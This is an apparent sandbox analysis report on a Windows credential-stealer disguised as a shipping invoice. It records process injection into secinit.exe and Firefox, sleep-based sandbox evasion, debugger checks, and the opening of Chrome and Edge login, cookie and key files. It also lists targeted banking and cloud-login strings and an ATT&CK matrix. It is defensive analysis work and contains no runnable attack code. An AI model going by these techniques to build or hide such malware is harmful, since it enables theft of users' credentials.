Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7AD944
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7AD504
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7AD544
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7AD1E4
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7B0154
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FFBCB7ADA44

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: 10B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: 28B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: 8E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: 9E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: A070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: B070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: B480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Memory allocated: C480000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	Window / User API: threadDelayed 1633			Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Window / User API: threadDelayed 8340			Jump to behavior

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\secinit.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe TID: 7580	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8024	Thread sleep count: 1633 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8024	Thread sleep time: -3266000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8024	Thread sleep count: 8340 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8024	Thread sleep time: -16680000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe TID: 8036	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\secinit.exe	Last function: Thread delayed

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report INVOICE, PACKING LIST, COPY BL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
INVOICE, PACKING LIST, COPY BL.exe

Source: 472E1186.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: 472E1186.6.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: 472E1186.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 472E1186.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 472E1186.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 472E1186.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: 472E1186.6.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: 472E1186.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 472E1186.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 472E1186.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 472E1186.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CB0000.00000004.00000020.00020000.00000000.sdmp, 2zqVCuEmR.exe, 00000007.00000002.2642325128.0000000000949000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2056787387.0000017BC095D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 472E1186.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 472E1186.6.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: 472E1186.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 472E1186.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: 472E1186.6.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: 472E1186.6.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 472E1186.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 472E1186.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 472E1186.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 472E1186.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 472E1186.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtCreateMutant: Direct from: 0x774635CC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtWriteVirtualMemory: Direct from: 0x77462E3C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtMapViewOfSection: Direct from: 0x77462D1C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtResumeThread: Direct from: 0x774636AC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtProtectVirtualMemory: Direct from: 0x77462F9C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtSetInformationProcess: Direct from: 0x77462C5C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtSetInformationThread: Direct from: 0x774563F9	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtNotifyChangeKey: Direct from: 0x77463C2C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtProtectVirtualMemory: Direct from: 0x77457B2E	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtAllocateVirtualMemory: Direct from: 0x77462BFC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtQueryInformationProcess: Direct from: 0x77462C26	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtResumeThread: Direct from: 0x77462FBC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtReadFile: Direct from: 0x77462ADC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtQuerySystemInformation: Direct from: 0x77462DFC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtDelayExecution: Direct from: 0x77462DDC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtAllocateVirtualMemory: Direct from: 0x77463C9C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtClose: Direct from: 0x77462B6C
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtCreateUserProcess: Direct from: 0x7746371C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtWriteVirtualMemory: Direct from: 0x7746490C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtAllocateVirtualMemory: Direct from: 0x774648EC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtQuerySystemInformation: Direct from: 0x774648CC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtQueryVolumeInformationFile: Direct from: 0x77462F2C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtReadVirtualMemory: Direct from: 0x77462E8C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtCreateKey: Direct from: 0x77462C6C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtSetInformationThread: Direct from: 0x77462B4C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtQueryAttributesFile: Direct from: 0x77462E6C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtDeviceIoControlFile: Direct from: 0x77462AEC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtOpenSection: Direct from: 0x77462E0C	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtCreateFile: Direct from: 0x77462FEC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtOpenFile: Direct from: 0x77462DCC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtQueryInformationToken: Direct from: 0x77462CAC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtTerminateThread: Direct from: 0x77462FCC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtAllocateVirtualMemory: Direct from: 0x77462BEC	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	NtOpenKeyEx: Direct from: 0x77462B9C	Jump to behavior

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: NULL target: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: NULL target: C:\Windows\SysWOW64\secinit.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Source: 2zqVCuEmR.exe, 00000005.00000002.2642441212.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000005.00000000.1674073096.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000007.00000000.1826786104.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 2zqVCuEmR.exe, 00000005.00000002.2642441212.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000005.00000000.1674073096.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000007.00000000.1826786104.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: 2zqVCuEmR.exe, 00000005.00000002.2642441212.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000005.00000000.1674073096.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000007.00000000.1826786104.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: 2zqVCuEmR.exe, 00000005.00000002.2642441212.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000005.00000000.1674073096.00000000019E0000.00000002.00000001.00040000.00000000.sdmp, 2zqVCuEmR.exe, 00000007.00000000.1826786104.0000000000FE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Queries volume information: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement